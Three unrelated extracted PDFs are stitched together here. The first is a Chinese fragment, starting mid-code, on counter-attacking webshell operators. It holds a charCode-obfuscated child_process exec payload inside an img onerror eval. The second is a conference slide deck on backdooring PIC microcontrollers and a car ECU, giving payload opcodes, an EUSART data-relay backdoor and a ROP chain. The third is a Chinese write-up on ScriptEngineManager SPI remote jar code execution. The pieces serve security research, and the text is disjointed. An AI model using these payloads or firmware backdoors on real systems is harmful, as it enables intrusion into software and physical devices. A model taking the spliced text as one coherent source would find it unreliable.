HTML源码和流量中均有Payload,导致攻击方很容易被反制,在执行命令后需要删除当前HTML节 点,并对流量进行加密。   System.Net.Sockets.ProtocolType.Tcp ); client.Connect(remoteEndPoint); client.Send(sendbytes); var recvStr = ""; var bytes = 0; var receiveBuffer = new byte[1024]; do {   bytes = client.Receive(receiveBuffer, receiveBuffer.Length, System.Net.Sockets.SocketFlags.None);   recvStr += System.Text.Encoding.UTF8.GetString(receiveBuffer, 0, bytes); }while (bytes == 1024); client.Shutdown(System.Net.Sockets.SocketShutdown.Both); client.Close(); Response.Write(System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes( recvStr))); } catch (err) { Response.Write(System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes( "ERROR:// " + err.message))); } `       }     },     'jsp': (cmdbuf) => {       return that.ShellCore.other.redisconn({         addr: that.host,         context: cmdbuf       })     }   } } } module.exports = Core; a="require('child_process').exec('calc.exe')" b="" for(i=0;i<a.length;i++) b = b + "," +a.charCodeAt(i) 使用 JavaScript Obfuscator 对payload进行混淆,为了方便我这里就不混淆了 在Console执行得到处理后的payload 0x05 结尾 到目前还没有完整的反制,因为Self-RCE在实战当中并没有价值,只能自己装装逼!我要更深入的探索 一番,如有后续会尽快更新出来,没有消息则是我太菜研究不出来! <img src=1 onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">
pdf
Backdooring hardware devices by injecting malicious payloads on microcontrollers_ By Sheila A. Berta (@UnaPibaGeek) @UnaPibaGeek WHO AM I?_ Sheila A. Berta (@UnaPibaGeek) Offensive Security Researcher @UnaPibaGeek WHO AM I?_ Sheila A. Berta (@UnaPibaGeek) Offensive Security Researcher A little bit more: - Developer in ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Python and Go. - Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE… & more. @UnaPibaGeek @UnaPibaGeek @UnaPibaGeek MICROCONTROLLERS VS MICROPROCESSORS_ Microprocessors Intel, AMD, ARM … Microcontrollers Microchip, ATMEL, ST … @UnaPibaGeek MICROPROCESSORS OVERVIEW_ • Microprocessors = CPU • Memories and I/O busses are physically separated. • Usually bigger than a microcontroller. • Greater processing capacity. • Modified-Harvard memory organization. • 32 or 64 bits (most common). @UnaPibaGeek MICROCONTROLLERS OVERVIEW_ • Microcontrollers = CPU + RAM + ROM + I/O busses • Smaller CPU with less processing capacity. • Usually smaller size than microprocessors. • Harvard memory organization. • 16 bits (most common). • A little stack. @UnaPibaGeek USE CASES_ != Raspberry PI ARM Microprocessor Arduino UNO Atmega Microcontroller @UnaPibaGeek MICROCONTROLLERS EVOLUTION_ @UnaPibaGeek MICROCONTROLLERS EVOLUTION_ @UnaPibaGeek MICROCONTROLLERS EVOLUTION_ @UnaPibaGeek MICROCONTROLLERS EVOLUTION_ @UnaPibaGeek IS WORTH IT?_ • Physical Security Systems. • Car’s ECU. • Semaphores. • Elevators. • Sensors. • Modules of Industrial systems. • Home appliances. • Robots. • … @UnaPibaGeek MICROCONTROLLERS PROGRAMMING_ @UnaPibaGeek MICROCONTROLLERS PROGRAMMING_ @UnaPibaGeek MICROCONTROLLERS PROGRAMMING_ ASM code to turning on a LED - (PIC) @UnaPibaGeek MICROCONTROLLERS PROGRAMMING_ ASM code to turning on a LED - (PIC) MPLAB X IDE @UnaPibaGeek MICROCONTROLLERS PROGRAMMING_ ASM code to turning on a LED - (PIC) MPLAB X IDE .hex file (firmware) @UnaPibaGeek MICROCONTROLLERS PROGRAMMING_ Microchip (PIC) programmer software Microchip (PIC) programmer hardware @UnaPibaGeek PROGRAM MEMORY DUMP_ @UnaPibaGeek PIC MEMORY ORGANIZATION_ non-volatile non-volatile volatile @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 1)_ Connection from PIC microcontroller to PICKIT 3 @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 2)_ Using MPLAB X IDE to read (and dump) the program memory 1 @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 2)_ Using MPLAB X IDE to read (and dump) the program memory 1 2 @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 2)_ Using MPLAB X IDE to read (and dump) the program memory 1 2 3 @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 2)_ Using MPLAB X IDE to read (and dump) the program memory 1 2 3 4 @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 3)_ Load the .hex file in the MPLAB X IDE @UnaPibaGeek PROGRAM MEMORY DUMP (STEP 3)_ Load the .hex file in the MPLAB X IDE @UnaPibaGeek CODE VS DISASSEMBLY (EXAMPLE)_ ASM source code Disassembly @UnaPibaGeek CODE VS DISASSEMBLY (EXAMPLE)_ OpCodes in the .hex dump ASM source code Disassembly @UnaPibaGeek PAYLOAD INJECTION: AT THE ENTRY POINT_ @UnaPibaGeek PROGRAM STANDARD STRUCTURE (PIC)_ Reset Vector: always at 0x0000 memory address Interrupt Vector: at 0x0008 and 0x0018 memory addresses Program entry point @UnaPibaGeek LOCATING THE ENTRY POINT_ @UnaPibaGeek LOCATING THE ENTRY POINT_ Entry point Simple program example @UnaPibaGeek LOCATING THE ENTRY POINT_ Entry point Simple program example Large program example @UnaPibaGeek LOCATING THE ENTRY POINT_ Entry point Simple program example Large program example Example 1 -- Entry point: 0x06 Example 2 -- Entry point: 0x7F84 Memory address to inject Memory address to inject @UnaPibaGeek GENERATING THE PAYLOAD #1 (PoC)_ BCF TRISD,1 // Set PIN as output BSF PORTD,1 // Turn ON a LED BCF TRISD,2 // Set PIN as output BSF PORTD,2 // Turn ON a LED @UnaPibaGeek GENERATING THE PAYLOAD #1 (PoC)_ BCF TRISD,1 // Set PIN as output BSF PORTD,1 // Turn ON a LED BCF TRISD,2 // Set PIN as output BSF PORTD,2 // Turn ON a LED @UnaPibaGeek GENERATING THE PAYLOAD #1 (PoC)_ BCF TRISD,1 // Set PIN as output BSF PORTD,1 // Turn ON a LED BCF TRISD,2 // Set PIN as output BSF PORTD,2 // Turn ON a LED 0x9295 = BCF TRISD,1 0x8283 = BSF PORTD,1 0x9495 = BCF TRISD,2 0x8483 = BSF PORTD,2 @UnaPibaGeek GENERATING THE PAYLOAD #1 (PoC)_ BCF TRISD,1 // Set PIN as output BSF PORTD,1 // Turn ON a LED BCF TRISD,2 // Set PIN as output BSF PORTD,2 // Turn ON a LED 0x9295 = BCF TRISD,1 0x8283 = BSF PORTD,1 0x9495 = BCF TRISD,2 0x8483 = BSF PORTD,2 Little Endian: 0x9592 0x8382 0x9594 0x8384 @UnaPibaGeek INJECTING THE PAYLOAD_ Entry point at 0x28 Original program memory (.hex dump) @UnaPibaGeek INJECTING THE PAYLOAD_ Entry point at 0x28 Original program memory (.hex dump) @UnaPibaGeek INJECTING THE PAYLOAD_ Entry point at 0x28 Original program memory (.hex dump) Entry point offset @UnaPibaGeek INJECTING THE PAYLOAD_ Entry point at 0x28 Original program memory (.hex dump) Entry point offset Checksum @UnaPibaGeek INJECTING THE PAYLOAD_ Entry point at 0x28 Original program memory (.hex dump) Entry point offset Checksum Payload injected at entry point (0x28) @UnaPibaGeek CHECKSUM RECALCULATION_ Sum(bytes on the line) = Not +1 = checksum @UnaPibaGeek CHECKSUM RECALCULATION_ Sum(bytes on the line) = Not +1 = checksum Example: :1000000003EF00F00000959E838E836A000E956E @UnaPibaGeek CHECKSUM RECALCULATION_ Sum(bytes on the line) = Not +1 = checksum Example: 10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634 Not(0x634) +1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC Checksum = 0xCC :1000000003EF00F00000959E838E836A000E956E @UnaPibaGeek CHECKSUM RECALCULATION_ https://www.fischl.de/hex_checksum_calculator/ @UnaPibaGeek CHECKSUM RECALCULATION_ https://www.fischl.de/hex_checksum_calculator/ Payload injected and checksum fixed @UnaPibaGeek WRITE THE PROGRAM MEMORY_ @UnaPibaGeek BEFORE / AFTER (PoC)_ Original @UnaPibaGeek BEFORE / AFTER (PoC)_ Original Payload injected @UnaPibaGeek INJECTING TO A CAR’S ECU_ IGNITION KEY @UnaPibaGeek INJECTING TO A CAR’S ECU_ IGNITION KEY Entry point: 0x152A @UnaPibaGeek INJECTING TO A CAR’S ECU_ IGNITION KEY Entry point: 0x152A @UnaPibaGeek ADVANCED PAYLOAD INJECTION: AT THE INTERRUPT VECTOR_ @UnaPibaGeek PERIPHERALS AND INTERRUPTIONS_ • Internal timers • A/D converters • CCP (Capture/Compare/PWM) • TX/RX busses • Others @UnaPibaGeek PERIPHERALS AND INTERRUPTIONS_ • Internal timers • A/D converters • CCP (Capture/Compare/PWM) • TX/RX busses • Others @UnaPibaGeek GIE AND PEIE BITS_ @UnaPibaGeek GIE AND PEIE BITS_ BSF INTCON, GIE // Set GIE to 1 BSF INTCON, PEIE // Set PEIE to 1 @UnaPibaGeek GIE AND PEIE BITS_ BSF INTCON, GIE // Set GIE to 1 BSF INTCON, PEIE // Set PEIE to 1 Interruptions enabled @UnaPibaGeek INTERRUPTION FLAGS_ Timer0 Interruption Enabled Timer0 Interruption Flag @UnaPibaGeek INTERRUPTION FLAGS_ Timer0 Interruption Enabled Timer0 Interruption Flag XXIE = Interruption Enabled XXIF = Interruption Flag @UnaPibaGeek INTERRUPTION FLAGS_ Timer0 Interruption Enabled Timer0 Interruption Flag XXIE = Interruption Enabled XXIF = Interruption Flag Registers PIE1, PIE2 and PIE3 have interruption enabling bits Registers PIR1, PIR2 and PIR3 have interruption flags bits @UnaPibaGeek POLLING INSPECTION_ @UnaPibaGeek POLLING INSPECTION_ Interrupt vector Polling @UnaPibaGeek POLLING INSPECTION_ PIR1, 5 @UnaPibaGeek POLLING INSPECTION_ PIR1, 5 PIR1, 5 = PIR1, RCIF @UnaPibaGeek POLLING INSPECTION_ PIR1, 5 PIR1, 5 = PIR1, RCIF Call to RC interruption routine @UnaPibaGeek MEMORY ADDRESSES TO INJECT A PAYLOAD_ 0x48 to inject a payload at the RC interruption 0x4E to inject a payload at Timer0 interruption 0x56 to inject a payload at the AD interruption 0x5E to inject a payload at the INT0 interruption @UnaPibaGeek BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_ Step 1: locate where the RC interruption routine begins (by inspecting the polling) Call to RC interruption routine @UnaPibaGeek BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_ Step 1: locate where the RC interruption routine begins (by inspecting the polling) Call to RC interruption routine 0x48 RC interruption routine begins @UnaPibaGeek BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_ Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example) MOVF RCREG, W // Move the received data to “W” register BSF TXSTA, TXEN // Enable transmission BCF TXSTA, SYNC // Set asynchronous operation BSF RCSTA, SPEN // Set TX/CK pin as an output MOVWF TXREG // Move received data (in W) to TXREG to be re-transmitted @UnaPibaGeek BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_ Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example) MOVF RCREG, W // Move the received data to “W” register BSF TXSTA, TXEN // Enable transmission BCF TXSTA, SYNC // Set asynchronous operation BSF RCSTA, SPEN // Set TX/CK pin as an output MOVWF TXREG // Move received data (in W) to TXREG to be re-transmitted 0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E @UnaPibaGeek BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_ Step 3: lnject the payload where the RC interruption routine begins 0x48 RC interruption routine begins Backdoor @UnaPibaGeek BACKDOORING THE EUSART COMMUNICATION PERIPHERAL_ Step 3: lnject the payload where the RC interruption routine begins 0x48 RC interruption routine begins Backdoor @UnaPibaGeek FIXING JUMPS: FLOW CORRUPTION_ Original program Program after payload injection @UnaPibaGeek FIXING JUMPS: GOTO AND CALL OPCODES_ GOTO opcode = 0xEF CALL opcode = 0xEC NOP opcode = 0xF0 @UnaPibaGeek FIXING JUMPS: GOTO AND CALL OPCODES_ GOTO opcode = 0xEF CALL opcode = 0xEC NOP opcode = 0xF0 EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address). EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address). @UnaPibaGeek FIXING JUMPS: GOTO AND CALL OPCODES_ GOTO opcode = 0xEF CALL opcode = 0xEC NOP opcode = 0xF0 EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address). EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address). Jump to 0x8CE (memory address) / 2 = 0x0467 offset @UnaPibaGeek FIXING JUMPS: RECALCULATION_ Payload injected at memory address: 0x48 Payload length: 10 bytes @UnaPibaGeek FIXING JUMPS: RECALCULATION_ Payload injected at memory address: 0x48 Payload length: 10 bytes Example: CALL 0x56 (EC2B F000) CALL 0x60 (EC30 F000) Fixed jump Original offset + payload length Original jump @UnaPibaGeek FIXING JUMPS: RECALCULATION_ Payload injected at memory address: 0x48 Payload length: 10 bytes Example: CALL 0x56 (EC2B F000) CALL 0x60 (EC30 F000) Fixed jump Original offset + payload length Original jump Three CALL fixed after injection @UnaPibaGeek AUTOMATING PAYLOAD INJECTION_ https://github.com/UnaPibaGeek/UCPI @UnaPibaGeek STACK PAYLOAD INJECTION: CONTROLLING PROGRAM FLOW_ @UnaPibaGeek STKPTR, TOSU, TOSH AND TOSL_ STKPTR = Stack Pointer register TOSU, TOSH and TOSL = Top of Stack registers @UnaPibaGeek PROGRAM FLOW CONTROL_ INCF STKPTR,F // SP increment MOVLW 0x00 MOVWF TOSU // TOSU = 0x00 MOVLW 0x0C MOVWF TOSH // TOSH = 0x0C MOVLW 0x72 MOVWF TOSL // TOSL = 0x72 RETURN Jump to 0x000C72 @UnaPibaGeek PROGRAM FLOW CONTROL_ INCF STKPTR,F // SP increment MOVLW 0x00 MOVWF TOSU // TOSU = 0x00 MOVLW 0x0C MOVWF TOSH // TOSH = 0x0C MOVLW 0x72 MOVWF TOSL // TOSL = 0x72 RETURN Jump to 0x000C72 SP Increment TOS = 0x000024 Jump to 0x000024 @UnaPibaGeek PROGRAM FLOW CONTROL_ INCF STKPTR,F // SP increment MOVLW 0x00 MOVWF TOSU // TOSU = 0x00 MOVLW 0x0C MOVWF TOSH // TOSH = 0x0C MOVLW 0x72 MOVWF TOSL // TOSL = 0x72 RETURN Jump to 0x000C72 SP Increment TOS = 0x000024 Jump to 0x000024 @UnaPibaGeek PROGRAM FLOW CONTROL_ INCF STKPTR,F // SP increment MOVLW 0x00 MOVWF TOSU // TOSU = 0x00 MOVLW 0x0C MOVWF TOSH // TOSH = 0x0C MOVLW 0x72 MOVWF TOSL // TOSL = 0x72 RETURN Jump to 0x000C72 SP Increment TOS = 0x000024 Jump to 0x000024 @UnaPibaGeek ROP-CHAIN_ ROP gadgets: 0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E 0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E 0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E 0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E 0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E 0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E 0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E 0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E RET = 0x1200 (last) (first) @UnaPibaGeek ROP-CHAIN_ ROP gadgets: 0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E 0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E 0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E 0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E 0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E 0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E 0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E 0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E RET = 0x1200 (last) (first) Gadget example at 0x0040: RETURN or RETLW @UnaPibaGeek ROP-CHAIN_ ROP gadgets: 0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E 0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E 0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E 0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E 0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E 0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E 0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E 0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E RET = 0x1200 (last) (first) Gadget example at 0x0040: RETURN or RETLW @UnaPibaGeek PROGRAM MEMORY PROTECTIONS_ @UnaPibaGeek CODE PROTECTION_ Microchip Config Directives Program memory dump still works @UnaPibaGeek BOOT AND DATA PROTECTION_ Microchip Config Directives Program memory dump doesn’t work @UnaPibaGeek CONCLUSIONS_ @UnaPibaGeek SPECIAL THANKS_ Sol (@encodedwitch) Nico Waisman (@nicowaisman) Dreamlab Technologies THANK YOU_ SHEILA A. BERTA (@UNAPIBAGEEK)
pdf
ScriptEngineManager代码执行 ScriptEngineManager 是用于 java 与 js 之间的相互调用。这个类在 jdk6 中存在。 初始化 ScriptEngineManager 类有两个初始化方法,一个有参,一个无参。有参的初始化方法是传递一 个 ClassLoader ,无参的构造方法是使用进程本身的 CLassLoader 。 这里可以回顾一下 SnakeYaml 反序列化,其中就用到了 ScriptEngineManager 类,传递一个 URLClassLoader ,然后利用 SPI 机制达到代码执行。所以此处可以先回顾一下这个利用过程。 SnakeYaml 反序列化中的初始化 SPI SPI ,全称为 Service Provider Interface ,是一种服务发现机制。它通过在 ClassPath 路径 下的 META-INF/services 文件夹查找文件,自动加载文件里所定义的类。参考文章:深入理解SPI 机制 举个例子 首先定义接口,完成两个实现类 在 classpath 中添加SPI搜索文件 通过 ServiceLoader.load 或者 Service.providers 两个方法来拿到实现类的实例。 ScriptEngineManager 中 SPI 的过程 首先要创建一个类实现接口 javax.script.ScriptEngineFactory ,至于为啥先按下不表。然后 和上面一样添加一个 SPI 的搜索文件。注意这个文件名是实现的接口的全类名。然后上一个实验的 内容最后清空一下,免得出错。之后打包成 jar 通过 ScriptEngineManager 触发 SPI 机制,然后弹计算器。 成功远程加载了 jar 包,弹出计算机 debug 一下 new ScriptEngineManager(urlClassLoader) -> init(loader); -> initEngines(loader); - > getServiceLoader(loader) 整个流程便是这个样子的,并不复杂,在 getServiceLoader(loader) 中通过 ServiceLoader.load 的方式去获取实现类实例。这里可以 看到传递的类对象是 ScriptEngineFactory ,所以要实现的接口也是这一个。 之后遍历这个迭代器,操作和实验上的一样,在 next() 方法中会创建类对象,并且创建一个对 象。这就可以触发我们写的恶意代码了。 好了,这个我们研究完了,之后来看看怎么通过 ScriptEngineManager 执行命令吧。 ScriptEngineManager 的使用 js 风格的 java 。。。。。人麻了
pdf